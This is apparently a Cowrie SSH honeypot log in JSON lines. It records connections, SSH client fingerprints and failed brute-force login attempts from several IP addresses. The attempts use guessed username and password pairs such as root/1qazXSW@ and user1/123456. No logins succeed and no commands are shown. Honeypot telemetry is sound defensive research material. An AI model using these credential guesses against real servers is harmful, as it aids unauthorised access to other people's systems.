{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:12.247646Z","src_ip":"209.99.184.143","session":"cbad92af546d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:12.647683Z","src_ip":"209.99.184.143","session":"cbad92af546d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:13.742876Z","src_ip":"209.99.184.143","session":"cbad92af546d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":54554,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cd21868cdb","protocol":"ssh","message":"New connection: 43.153.27.162:54554 (10.17.0.5:22) [session: 46cd21868cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:24.966588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:24.971659Z","src_ip":"43.153.27.162","session":"46cd21868cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:25.041177Z","src_ip":"43.153.27.162","session":"46cd21868cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forex123","message":"login attempt [root/forex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:25.351066Z","src_ip":"43.153.27.162","session":"46cd21868cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:26.423959Z","src_ip":"43.153.27.162","session":"46cd21868cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":39336,"dst_ip":"10.17.0.5","dst_port":22,"session":"6214c06c3ccd","protocol":"ssh","message":"New connection: 20.12.41.6:39336 (10.17.0.5:22) [session: 6214c06c3ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:32.769145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:32.773451Z","src_ip":"20.12.41.6","session":"6214c06c3ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:32.790205Z","src_ip":"20.12.41.6","session":"6214c06c3ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:32.879949Z","src_ip":"20.12.41.6","session":"6214c06c3ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:33.897582Z","src_ip":"20.12.41.6","session":"6214c06c3ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:34.993023Z","src_ip":"47.86.95.62","session":"cabf3045a593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38236,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4ed2b56b74","protocol":"ssh","message":"New connection: 47.86.95.62:38236 (10.17.0.5:22) [session: ed4ed2b56b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:43.513644Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:44.647223Z","src_ip":"47.86.95.62","session":"cabf3045a593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"93.7","message":"Connection lost after 93.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:46.652123Z","src_ip":"47.86.95.62","session":"cabf3045a593","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:50.354006Z","src_ip":"47.86.95.62","session":"ed4ed2b56b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:52:50.357902Z","src_ip":"47.86.95.62","session":"ed4ed2b56b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":31054,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b16d41aac84","protocol":"ssh","message":"New connection: 165.154.23.26:31054 (159.203.135.109:22) [session: 2b16d41aac84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:02.922487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:02.927758Z","src_ip":"165.154.23.26","session":"2b16d41aac84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:03.145533Z","src_ip":"165.154.23.26","session":"2b16d41aac84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iksi","password":"zhbjETuyMffoL8F","message":"login attempt [iksi/zhbjETuyMffoL8F] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:04.054368Z","src_ip":"165.154.23.26","session":"2b16d41aac84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:05.285176Z","src_ip":"165.154.23.26","session":"2b16d41aac84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:18.761773Z","src_ip":"47.86.95.62","session":"ed4ed2b56b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":51746,"dst_ip":"159.203.135.109","dst_port":22,"session":"b24b6113c4dc","protocol":"ssh","message":"New connection: 61.222.211.114:51746 (159.203.135.109:22) [session: b24b6113c4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:20.406024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:20.410475Z","src_ip":"61.222.211.114","session":"b24b6113c4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:20.615451Z","src_ip":"61.222.211.114","session":"b24b6113c4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:21.463143Z","src_ip":"61.222.211.114","session":"b24b6113c4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:22.676711Z","src_ip":"61.222.211.114","session":"b24b6113c4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.9","message":"Connection lost after 39.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:23.401538Z","src_ip":"47.86.95.62","session":"ed4ed2b56b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":40258,"dst_ip":"159.203.135.109","dst_port":22,"session":"2848d95b5b44","protocol":"ssh","message":"New connection: 31.59.89.180:40258 (159.203.135.109:22) [session: 2848d95b5b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:24.857059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:24.862055Z","src_ip":"31.59.89.180","session":"2848d95b5b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:24.975152Z","src_ip":"31.59.89.180","session":"2848d95b5b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:25.457921Z","src_ip":"31.59.89.180","session":"2848d95b5b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:26.574150Z","src_ip":"31.59.89.180","session":"2848d95b5b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":60526,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cdf355565c7","protocol":"ssh","message":"New connection: 118.26.36.248:60526 (159.203.135.109:22) [session: 5cdf355565c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:32.167747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:32.172482Z","src_ip":"118.26.36.248","session":"5cdf355565c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:32.386734Z","src_ip":"118.26.36.248","session":"5cdf355565c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2006","message":"login attempt [root/2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:33.271310Z","src_ip":"118.26.36.248","session":"5cdf355565c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:53:34.487669Z","src_ip":"118.26.36.248","session":"5cdf355565c7","protocol":"ssh"}
